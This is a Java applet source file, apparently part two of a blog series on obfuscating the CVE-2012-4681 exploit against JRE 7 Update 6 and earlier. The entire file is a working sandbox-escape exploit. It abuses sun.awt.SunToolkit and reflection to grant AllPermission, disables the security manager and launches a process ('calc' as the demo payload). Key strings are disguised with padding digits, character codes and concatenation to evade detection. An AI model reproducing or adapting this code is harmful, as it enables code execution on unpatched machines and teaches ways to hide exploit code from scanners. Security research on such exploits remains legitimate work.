Java 7 Exploit CVE-2012-4681 obfuscation pt. 2/5

/*
 *  Java 7 Exploit CVE-2012-4681 obfuscation pt. 2/5
 *
 *  Affected product versions:
 *  - JDK and JRE 7 Update 6 and before
 *
 * Post link: http://security-obscurity.blogspot.com/2012/11/java-exploit-code-obfuscation-and.html
 */
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class Java extends Applet
{
    String secMan = "22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34";
    char sun[] = {'s','u','n','.','a','w','t','.','S','u','n','T','o','o','l','k','i','t'};
    char file[] = {(char)102,(char)105,(char)108,(char)101,(char)58,(char)47,(char)47,(char)47}; // file
    String   ad = "or",me = "me", aw = "f", kl = "Na"; // forName
    String field = "789g8795e456"+"5t5765F5675"+"567i6765e756"+"567l567d567"; // getField

    public void enableSecurity() throws Throwable
    {
        Statement localStatement = new Statement(System.class, secMan.replaceAll("\\d",""), new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL(new String(file)), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });

        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = Statement.class;
        arrayOfObject[1] = "a"+"c"+"c";
        Expression localExpression = new Expression(GetClass(new String(sun)), field.replaceAll("\\d",""), arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(localStatement, localAccessControlContext);

        localStatement.execute();
    }

    public void init()
    {
        try
        {
            enableSecurity();
            Runtime.getRuntime().exec("calc");
        }
        catch(Throwable t){}
    }

    private Class GetClass(String paramString) throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, aw+ad+kl+me, arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }
}